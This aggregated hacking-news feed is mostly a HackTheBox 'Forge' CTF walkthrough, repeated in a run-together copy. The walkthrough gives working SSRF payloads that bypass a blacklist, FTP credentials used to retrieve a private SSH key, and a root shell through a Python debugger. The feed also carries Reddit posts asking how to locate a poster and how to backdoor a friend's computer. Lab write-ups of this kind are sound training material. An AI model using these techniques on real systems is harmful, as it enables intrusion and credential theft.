Hacking on Medium
ANALOUGEPOND VM Walkthrough 1 — part

https://cdn-images-1.medium.com/max/709/0*276mvhplZ6phZVjz.png
Makineyi indirebilirsiniz.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Phantom Functions and the Billion-Dollar No-op

https://cdn-images-1.medium.com/max/1280/1*EFZc4IybJjrAhMwtM9o7aQ.png
By the Dedaub team

Continue reading on Dedaub »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Try This Great McDonald’s Hack

https://cdn-images-1.medium.com/max/2600/0*ojRIh5nxHhqvLuIt
I use it as often as I can at the restaurant.

Continue reading on Loud Updates »

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
Forge HackTheBox Walkthrough

IntroductionForge is a CTF Linux box rated “medium” on the difficulty scale on the HackTheBox platform. The box covers subdomain enumeration, SSRF attacks and basic reverse engineering of a python script for privilege escalation. Table of ContentNetwork Scanning

* Nmap

Enumeration

* Subdomain enumeration using wfuzz
* Checking file upload filters on web application

Exploitation

* Exploiting SSRF to read private SSH key
* Logging in using this SSH key

Privilege Escalation

* Understanding python script running as sudo
* Gaining root by exploiting pdb

Let’s deep dive into this. Network ScanningThe dedicated IP address of the machine is 10.129.164.116. We’ll run a nmap scan on this machine’s IP. As we can see in the nmap scan, the server tried to redirect the request to http://forge.htb. So, we’ll add this IP in our hosts file and access the webserver.
nmap -sV -sC -p 1-1000 10.129.164.116
https://blogger.googleusercontent.com/img/a/AVvXsEjXw_vRTFxHuKYLubtFWunfVi9Jd_naDOCtOKxdpElJqfcEBY9mtD-A-RaYPYcFUOP6b0o3uRYUh0MbyrjWhY9m8Qzzi7j_oWmKpZOA42oKmECStwzpA7CCIs6EOGqOKYsjEnrneT44xfgezK9JHeRSK-7Q2W0JsTIFz2jm4e730bcUAaDEQyswWS6OPQ=s16000

Now, we access the webserver which seemed to be running a digital gallery.

https://blogger.googleusercontent.com/img/a/AVvXsEg6BGoozrVOEs9i1zEZJpIivZoEfkSlygvP-m3iqsB8eXW5jyoQ-5abybzOjlpBNJ-YIfsvXIj9YoccxICJTX15pspF99P6sZFLDj6ZkQHukEHmRXMx8OcQhwXvd43-AyLrkDQq_J0QXp1LY9wbs-wdEjlKJZSWQGoVZYE86YKzD2rejnsSbFoBBxMAHg=s16000 EnumerationAs we see there was an upload function in the gallery. We tried uploading a PHP payload and gaining reverse shell but it didn’t work. The file was being uploaded to the server though and contents were there but it wasn’t executing the code.

However, since the website was rerouting to forge.htb, it was possible that there were other subdomains on the website. We used wfuzz for this bruteforce (along with seclists wordlist).
wfuzz -w /home/kali/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.forge.htb" --sc 200 10.129.164.116
This shows that admin.forge.htb exists.

https://blogger.googleusercontent.com/img/a/AVvXsEinlbbhcW5bmYb-MsFiT_5Dr1g-0QZW8N6wXIWQ3b9KGM4L8EaZrA_M770b8-HVQ0LDYdXZWU12bAs03OlYyq-FxemumbjJEQ9XeXKK7nlsVNmHuMVn3JLHNJ-fLjrSbeZbyo2f3RURbxEiT_vHZcta8BouqIkbS_5RdRvrNTrU3b7EK3L6TTloIeLo0Q=s16000

However, upon opening the URL using curl we received an error. This means that an access control filter is up on the server.
echo "10.129.164.116   admin.forge.htb" >> /etc/hosts
curl http://admin.forge.htb/
https://blogger.googleusercontent.com/img/a/AVvXsEg5hUqgrEAzKzUEtpR2MOfQUiqf3lVVMic4kJJdgURURTwzD2kQkJNorpE6VxUIjEgzcMMb4m24r35FuTBfmVvyGqN9h4bmOFUyD4YmEZoWTL-nkcKt6Vx8T74rJ85FFoPU1AkBGzKOJJpqUQK-rYP3PhFy0RH9um2utr8kGDPkwND5mUbE86c40smQog=s16000

So, we headed to another upload option “upload from URL.” There was another filter that only allowed HTTP,HTTPS URLs.

https://blogger.googleusercontent.com/img/a/AVvXsEiowOmLoeWtR5kyCoLkHSwMiSbpbV8Y3NLaMeb6_lJrf2FK9xV0c56gu4fYVTYeOHkRf1l3VV50aW3TZ33XPmCPFq6l_YbgwAfU2FYMbn2SUKTdchTGNe4uWrV181YipqtWaCH-3Tmj2KISMguPEL3T6i8EwhS8CbrXR66q-uIMO2VqeXLBVJTeIE6skQ=s16000

So, I set up a listener on port 80 using netcat and input http://10.10.16.10/shell.php in the option (my HTB tunnel IP).

https://blogger.googleusercontent.com/img/a/AVvXsEjBWVq5WuPGaUMIcb_9B5xbo03QVIUNwJmVog923xo-d1O2ldhdwlhX8uQNOdwCvH8msp6tyxT9BsAFwuPIFUV41VQ7C8BNtLetgOmNkWfLGSzCu96soVWAuT7yd49abviReqcC-iBWCmQFaUENBP6MJdZlfs-7iHzp_h6_Lia4y9reDdzq6CgbiDYtJA=s16000

On my netcat listener, I could see the website trying to fetch shell.php. There were a few notable things here:

* The server tried to fetch the specified file shell.php from my IP
* The request had my IP in the Host header
* User-Agent is python-request[...]

___________________________
@hacking_Attack
@Hacking_Video

s which is a python crawler

https://blogger.googleusercontent.com/img/a/AVvXsEgs4-ZR287t_tzwUwsakrdegWZYn2JpR9yJekdCdOybCeBEHYyE2g0Yp_U9kztSdasZbHuj5UbusofU2Db5VaM_y9pPRmznL9BNxcBuAv-bqsF1G87-7hYvdOlyTlnIGLIdQES22cn0B27FgTVVCRLAOXg12DwogozhyA7s9VpZ5Fy-iESVOpfmOvjjFg=s16000 ExploitationNow that it had been established the server tries to fetch a remote file, we can work our way up to exploitation from here. My first instinct was to access admin.forge.htb using this remote URL functionality as that page was only accessible using localhost. So, I was able to do that like this but encountered yet another problem!

https://blogger.googleusercontent.com/img/a/AVvXsEgDyl1LmeuU22NepPNgjJ9aNNvBL6mrdLXM_Gfk6chMylDj9nZMEzVw4KqQHIhS7n2TuLkei_YCpWrU7lsTwxCBDTVP8jh4lLl2rFDIC6RoUyCmFBasQ9EGi6IqZaK3RnVLKUZFElTmq0-xIlS1zc5Qr7cUmaRWyePEes4B63VYdWztyzHarO46QumBjA=s16000

So, this address is blacklisted. Let’s see if we can bypass this by typing the subdomain “admin” in all caps (ADMIN.forge.htb). Well, well looks like we are able to access admin.forge.htb now! This vulnerability is called SSRF (server-side request forgery) where an attacker is able to tamper with the backend requests on a server and breakthrough various access controls (like localhost here) to access sensitive files or even gain a remote shell.

https://blogger.googleusercontent.com/img/a/AVvXsEgoSGVbT4AZJ7DG3g11FEdkmQNvx-Vt4bvwjSxwU6s4v1Jft4HkFJyvYVyJk8LM0TUYbwngenZZjMbiCU_xTROH1EgICVxt6lDQ2sCGvMMBmigznhy7LjWAL6VJOo_Hz23M341W8xKgTsbW912q8d09PLIVwFlRY3MkzF_1VJSys-bwI-H429b8OGdpzw=s16000

This told me about a page /announcements which I then tried to access using http://ADMIN.forge.htb/announcements but this was also blacklisted. So, I used this payload:
http://ADMIN.FORGE.htb/announcements
curl http://forge.htb/uploads/ps14SjF8useIEk0VOao1
Important things inferred from this result were:

* Internal FTP server is running whose credentials are user:heightofsecurity123!
* Upload file option supports FTP and FTPS
* ?u= can be used to upload an image on /uploads page.

https://blogger.googleusercontent.com/img/a/AVvXsEgElm_7K_PWfdrRRWm6K33d4YxflutbXg3uy4XeCWrBpL1l9IoopzjVTJG7501iXYDGUk2aWXWyQQNzqo5Uq4nnHeyAqGQSYN_tI1BJK1cwF_TNMmSOfYjny081HdBI3inBQ9ifVnCqoWVk-6KxJmSsrSaZ-n8xKbED18XqJbvFGE_D4zlbaCFGY1q_zA=s16000

So, if the /upload engine supports inclusion through the URL and FTP protocol, we can exploit SSRF and access the internal FTP server! The payload I used was
http://ADMIN.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@127.0.1.1/
https://blogger.googleusercontent.com/img/a/AVvXsEhfv26cQ9ojc67BZw_jA4f8zcjR9S7fpmYwX02MlXB9TuE0jtkHzTyIYoAWEcDt0aAsOkeJVEXOiCH1hd08NtC0EuiiNt1A7qNXxjGT7M9rqzUYTl54sYoi6n4Xz91BafKoQcnuLvHvW9kJ4mKQ1TCD2yfK24sec8JvukRFKRJDLNxBlPkyGeMvwIr2lw=s16000

Now, if I can access user.txt, I might also be able to access the private SSH key. I did that using this payload:
http://ADMIN.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@127.0.1.1/.ssh/id_rsa
https://blogger.googleusercontent.com/img/a/AVvXsEgMmSV22O_mmQATbUymFYi5GN3n5L8LbNZPm9SH6dFYp9xfmmzQtOfTCvGIY83fuj9RB8U71dALTCZkXNf8AW6vJXBxYGCwA0PqPk-jFKcR_2-wqLnAHM4nigVStEwPszBoNl2ZYvkRZ93M2ZUwP3mc5IGAxY4Cg32_pYBiD123-uY_yIsJuyvvEG4WFQ=s16000

Saving that key in my local system we can log into the victim box.
nano id_rsa
chmod 600 id_rsa
ssh -i id_rsa user@forge.htb
https://blogger.googleusercontent.com/img/a/AVvXsEjvdvZ5paNGafZQmmdSq1Fg4z3oxj1LycRY8W5AHZWxnR_mhH_64gnjdqe0OanEiDQg4y_xFCQ8Q8FCHtjT3-mBScc5Tw7ldot7kXRp9nP2LagaBFX39kHYjrFj_LEd6WqBvdIRjarAmlc_gCfN8XznQHW9_mW1WuAC-IMl60DWA1YaVvAd-2mJFL7aLQ=s16000 Privilege EscalationNow that we had a stable prompt we could advance for privilege escalation. I checked the sudoers file which had a python script allowed to run as root. This script opens up a listener for remote clients to connect. Also, it compares the input password with hardcoded credential secretadminpassword
sudo -l
cat /opt/re[...]

___________________________
@hacking_Attack
@Hacking_Video

mote-manage.py
https://blogger.googleusercontent.com/img/a/AVvXsEiQuEpp1EE9vNQKOeR-lIitWxl1cL3axyvh_oiJuJyuVbUw8fn5_nrBtQjiZNkQhfjvOsJYEjskDuhsjWS7-M8JcdOW7QdeB8kSaFSoPUl2J2Hupnub1hpt91334b2GXhXDuDir89cmoVZDyXsebtvRpVCJUVzTUAsC7S_YFoLWgTXDnc1EvQHCc_DkbA=s16000

Let’s do that and login to this user again from another terminal and connect to the script using netcat.
sudo /usr/bin/python3 /opt/remote-manage.py
nc localhost 55465
https://blogger.googleusercontent.com/img/a/AVvXsEjGK3j2S_Y1wcJLwudp97Blj2pdt5zjVI6A0uZ1CPiVaJEwQTeRLMqTkZxZHsEh7nBIXcIn0rOxkvOpHb7Yju0KcA8T05UJeyOhc3V0u9W59wu5-nK_Dl89XicaILBWcl4LxUTfADFk01xjDZ16H38i7qYnarhoE4WhXk9KOKeRWC0RFrpScb6lVqR47A=s16000

Now, I am effectively communicating with a python script that is run as root. You will notice that this script is flawed. As soon as I input anything other than “secretadminpassword” it throws an exception and opens up Python Debugger.

https://blogger.googleusercontent.com/img/a/AVvXsEhF3vlUv9OJcbbGSGfCgH6cVAxTIv211MSPdtxfY3e4s-wLXUpWwL-E2Q32zCu2Gdo0FeKbRVGgcAApBtyncgze0CkkQXldKpgqjma-L935m8tT8txdl4049nJoep_g4OVVWX1ghpMqKNFqjI1IS16fot2Thw4p1fvOywLYBimogcb9yo2Zm9u5pv2-rw=s16000

Now, we have a Python debugger (pdb) running as root with us! Super convenient. We would have used a buffer overflow attack if this flaw didn’t exist to get into the debugger. Anyway, we can use the debugger to perform any function as root. I used the technique used by gtfobins here. Simply invoked a shell using the os module. And this is how we root this box.
import os;os.system(“/bin/sh”)
id
cat /root/root.txt
https://blogger.googleusercontent.com/img/a/AVvXsEiPLup_PCT5S3kW4J1Uv6bZE2qHLQnw6t4U9z4AKP9Mx3crTlO7WmrcWZEG20xf6gnazI1DkkJI93nuUXqxtEzPhLiVnyMWytbyaokINQALUAmLugtdKX_xzdRugbTx53WKmz2Qpm7NIrL7Y3MIL_hZulk5ADdC_WWk9dfGCIgfdByfbgEgDbwFztZH3Q=s16000 ConclusionThe box covers a few tricks that make one scratch their brain, however, it doesn’t have any rabbit holes or advanced techniques used to exploit. We covered subdomain enumeration, SSRF and basic Python reverse engineering in this box. Hope you liked this article. Thanks for reading.

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here

The post Forge HackTheBox Walkthrough appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Hacking for safety?

Greetings r/hackers, I came across a situation and am concerned for someone's safety.

In r/relationship_advice user u/ethanisonfire has been posting about a situation where a boyfriend has been installing Blink cameras in his home without his knowledge. Yesterday he posted that he was going to confront the boyfriend alone, and a few hours ago a post was made in a completely different style. Highly suspicious.

My question is thus: can a user like myself find the approximate location of the poster so that the local authorities can be contacted?

submitted by /u/bockchain
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
8 cybersecurity trends to watch for 2022: From extortion to satellite attacks | CyberNews

https://external-preview.redd.it/5tIiG4K82RRxn9vY4HMrabESmcjiJStkFkuVSY5jd38.jpg?width=640&crop=smart&auto=webp&s=870f0b079fdda11d4c3aab33a4e24c826d29d98c submitted by /u/SpiritualDog9743
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How do you create a backdoor in a GMail email?

I'm trying a hack into a friend's computer (with their permission) who has a gmail account.

I created an executable that makes it through the antivirus only to realize that I can't send executables through gmail at all. I could add a macro to Word document, but I don't know that macros run in Gmail's document viewer.

Any advice?

submitted by /u/anon314159265358p
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Hacking a screen

So just fast and quick what would be the best way to display something on a screen from a win10 or any linux, without touching it. Beeing still in the same Network.

submitted by /u/lIl-I-BULLY-YOU-IlI
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
A Level-Set on Russia-Borne Cyber Threats

As hostilities mount between Russia and Ukraine, new and more dangerous cyberattacks are likely to develop. Pinpointing sources and motives will remain elusive, but enterprises should prepare for an escalation in cyberspace.

Dark Reading: Attacks/Breaches
Are You Prepared to Defend Against a USB Attack?

Recent "BadUSB" attacks serve as a reminder of the big damage that small devices can cause.

Hacking Articles|Raj Chandel's Blog
Forge HackTheBox Walkthrough

IntroductionForge is a CTF linux box rated “medium” on the difficulty scale on HackTheBox platform. The box covers subdomain enumeration, SSRF attacks and basic reverse engineering of python script for privilege escalation.Table of ContentEnumeration· Subdomain enumeration using wfuzzExploitation· Exploiting SSRF to read private SSH keyPrivilege Escalation· Understanding python script running as sudoNetwork ScanningThe dedicated IP address of the machine is 10.129.164.116. We’ll run a nmap scan on this machine’s IP. As we can see in the nmap scan, the server tried to redirect the request to http://forge.htb. So, we’ll add this IP in our hosts file and and access the web server.nmap -sV -sC -p 1-1000 10.129.164.116https://blogger.googleusercontent.com/img/a/AVvXsEjXw_vRTFxHuKYLubtFWunfVi9Jd_naDOCtOKxdpElJqfcEBY9mtD-A-RaYPYcFUOP6b0o3uRYUh0MbyrjWhY9m8Qzzi7j_oWmKpZOA42oKmECStwzpA7CCIs6EOGqOKYsjEnrneT44xfgezK9JHeRSK-7Q2W0JsTIFz2jm4e730bcUAaDEQyswWS6OPQ=s16000 Now, we access the web server which seemed to be running a digital gallery.EnumerationAs we see there was an upload function in the gallery. We tried uploading a PHP payload and gain reverse shell but it didn’t work. File was being uploaded to the server though and contents were there but it wasn’t executing the code.wfuzz -w /home/kali/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.forge.htb" --sc 200 10.129.164.116This shows that admin.forge.htb exists.echo "10.129.164.116   admin.forge.htb" >> /etc/hostshttps://blogger.googleusercontent.com/img/a/AVvXsEg5hUqgrEAzKzUEtpR2MOfQUiqf3lVVMic4kJJdgURURTwzD2kQkJNorpE6VxUIjEgzcMMb4m24r35FuTBfmVvyGqN9h4bmOFUyD4YmEZoWTL-nkcKt6Vx8T74rJ85FFoPU1AkBGzKOJJpqUQK-rYP3PhFy0RH9um2utr8kGDPkwND5mUbE86c40smQog=s16000 So, we headed to another upload option “upload from URL.” There was another filter that only allowed HTTP,HTTPS URLs. https://blogger.googleusercontent.com/img/a/AVvXsEiowOmLoeWtR5kyCoLkHSwMiSbpbV8Y3NLaMeb6_lJrf2FK9xV0c56gu4fYVTYeOHkRf1l3VV50aW3TZ33XPmCPFq6l_YbgwAfU2FYMbn2SUKTdchTGNe4uWrV181YipqtWaCH-3Tmj2KISMguPEL3T6i8EwhS8CbrXR66q-uIMO2VqeXLBVJTeIE6skQ=s16000 So, I set up a listener on port 80 using netcat and input http://10.10.16.10/shell.php in the option (my HTB tunnel IP).___________________________
@hacking_Attack
@Hacking_Video

I could see the website trying to fetch shell.php. There were a few notable things here:ExploitationNow that it had been established the server tries to fetch a remote file, we can work our way up to exploitation from here. My first instinct was to access admin.forge.htb using this remote URL functionality as that page was only accessible using localhost. So, I was able to do that like this but encountered yet another problem!http://ADMIN.FORGE.htb/announcements
curl http://forge.htb/uploads/ps14SjF8useIEk0VOao1Important things inferred from this result were:http://ADMIN.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@127.0.1.1/https://blogger.googleusercontent.com/img/a/AVvXsEhfv26cQ9ojc67BZw_jA4f8zcjR9S7fpmYwX02MlXB9TuE0jtkHzTyIYoAWEcDt0aAsOkeJVEXOiCH1hd08NtC0EuiiNt1A7qNXxjGT7M9rqzUYTl54sYoi6n4Xz91BafKoQcnuLvHvW9kJ4mKQ1TCD2yfK24sec8JvukRFKRJDLNxBlPkyGeMvwIr2lw=s16000 Now, if I can access user.txt, I might also be able to access private SSH key. I did that using this payload:http://ADMIN.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@127.0.1.1/.ssh/id_rsahttps://blogger.googleusercontent.com/img/a/AVvXsEgMmSV22O_mmQATbUymFYi5GN3n5L8LbNZPm9SH6dFYp9xfmmzQtOfTCvGIY83fuj9RB8U71dALTCZkXNf8AW6vJXBxYGCwA0PqPk-jFKcR_2-wqLnAHM4nigVStEwPszBoNl2ZYvkRZ93M2ZUwP3mc5IGAxY4Cg32_pYBiD123-uY_yIsJuyvvEG4WFQ=s16000 Saving that key in my local system we can log into the victim box.nano id_rsa
chmod 600 id_rsa
ssh -i id_rsa user@forge.htbhttps://blogger.googleusercontent.com/img/a/AVvXsEjvdvZ5paNGafZQmmdSq1Fg4z3oxj1LycRY8W5AHZWxnR_mhH_64gnjdqe0OanEiDQg4y_xFCQ8Q8FCHtjT3-mBScc5Tw7ldot7kXRp9nP2LagaBFX39kHYjrFj_LEd6WqBvdIRjarAmlc_gCfN8XznQHW9_mW1WuAC-IMl60DWA1YaVvAd-2mJFL7[...]

___________________________
@hacking_Attack
@Hacking_Video

aLQ=s16000 Privilege EscalationNow that we had a stable prompt we could advance for privilege escalation. I checked the sudoers file which had a python script allowed to run as root. This script opens up a listener for remote clients to connect. Also, it compares the input password with hardcoded credential secretadminpasswordsudo /usr/bin/python3 /opt/remote-manage.py
nc localhost 55465https://blogger.googleusercontent.com/img/a/AVvXsEjGK3j2S_Y1wcJLwudp97Blj2pdt5zjVI6A0uZ1CPiVaJEwQTeRLMqTkZxZHsEh7nBIXcIn0rOxkvOpHb7Yju0KcA8T05UJeyOhc3V0u9W59wu5-nK_Dl89XicaILBWcl4LxUTfADFk01xjDZ16H38i7qYnarhoE4WhXk9KOKeRWC0RFrpScb6lVqR47A=s16000 Now, I am effectively communicating with a python script which is run as root. You will notice that this script is flawed. As soon as I input anything other than “secretadminpassword” it throws an exception and opens up Python Debugger.import os;os.system(“/bin/sh”)
id
cat /root/root.txthttps://blogger.googleusercontent.com/img/a/AVvXsEiPLup_PCT5S3kW4J1Uv6bZE2qHLQnw6t4U9z4AKP9Mx3crTlO7WmrcWZEG20xf6gnazI1DkkJI93nuUXqxtEzPhLiVnyMWytbyaokINQALUAmLugtdKX_xzdRugbTx53WKmz2Qpm7NIrL7Y3MIL_hZulk5ADdC_WWk9dfGCIgfdByfbgEgDbwFztZH3Q=s16000 ConclusionThe box covers a few tricks that makes one scratch their brain, however, it doesn’t have any rabbit holes or advanced techniques used to exploit. We covered subdomain enumeration, SSRF and basic Python reverse engineering in this box. Hope you liked this article. Thanks for reading.___________________________
@hacking_Attack
@Hacking_Video